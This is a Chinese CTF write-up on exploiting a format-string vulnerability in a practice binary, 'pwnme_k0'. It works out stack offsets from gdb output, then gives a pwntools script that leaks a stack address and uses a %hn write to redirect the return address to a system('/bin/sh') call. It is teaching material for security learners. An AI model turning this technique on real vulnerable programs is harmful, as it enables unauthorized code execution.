程序运行起来功能很简单:输入用户名密码、输出用户名密码、退出
运行起来发现:这里可能会有个缓冲区溢出的漏洞,在输入用户名时可以超过20个,超过的部分成了密码
进一步测试发现,该程序存在fmtstr漏洞
在程序4008A6处提供了system("/bin/sh"),所以我们的思路是,劫持某个函数返回地址到这儿即可
先来计算偏移:
在这里下断
Breakpoint 1, 0x0000000000400b39 in ?? ()
gdb-peda$ stack 20
0000| 0x7fffffffdac0 --> 0x7fffffffdb00 --> 0x7fffffffdbb0 --> 0x400eb0 (push r15)
0008| 0x7fffffffdac8 --> 0x400d74 (add rsp,0x30)
0016| 0x7fffffffdad0 --> 0xa61616161 ('aaaa\n')
0024| 0x7fffffffdad8 --> 0x0
0032| 0x7fffffffdae0 --> 0x252e702500000000 ('')
0040| 0x7fffffffdae8 ("p.%p.%p.%p.%p\n")
0048| 0x7fffffffdaf0 --> 0xa70252e7025 ('%p.%p\n')
可以发现许多重要信息:
(1)aaaa的偏移为5 + 3 = 8
(2)偏移为7处存储的是该函数的返回地址
(3)偏移为6处泄露了栈地址!
所以:我们的思路是:利用偏移为6处泄露栈信息,根据偏移计算返回地址,利用格式化字符串漏洞将返回地址覆盖成system("/bin/sh")的地址即可
#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = process("./pwnme_k0")
#get retaddr
io.recv()
io.sendline("1111")
io.recv()
io.sendline("%6$p")
io.recv()
io.sendline("1")
io.recvuntil("0x")
retaddr = int(io.recvline().strip(), 16) - 0x38
print "retaddr = " + hex(retaddr)
#retaddr => 0x4008A6
io.recv()
io.sendline("2")
io.recv()
io.sendline(p64(retaddr))
io.recv()
io.sendline("%2214d%8$hn")
#return
io.recv()
io.sendline("1")
io.recv()
io.interactive()
这里的0x38是偏移值:
0x7fffffffdb00 - 0x7fffffffdac8 = 0x38
我们需要把400D74覆盖成4008A6,即:写成0x08A6 = 2214
学习链接:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_example/#hijack-retaddr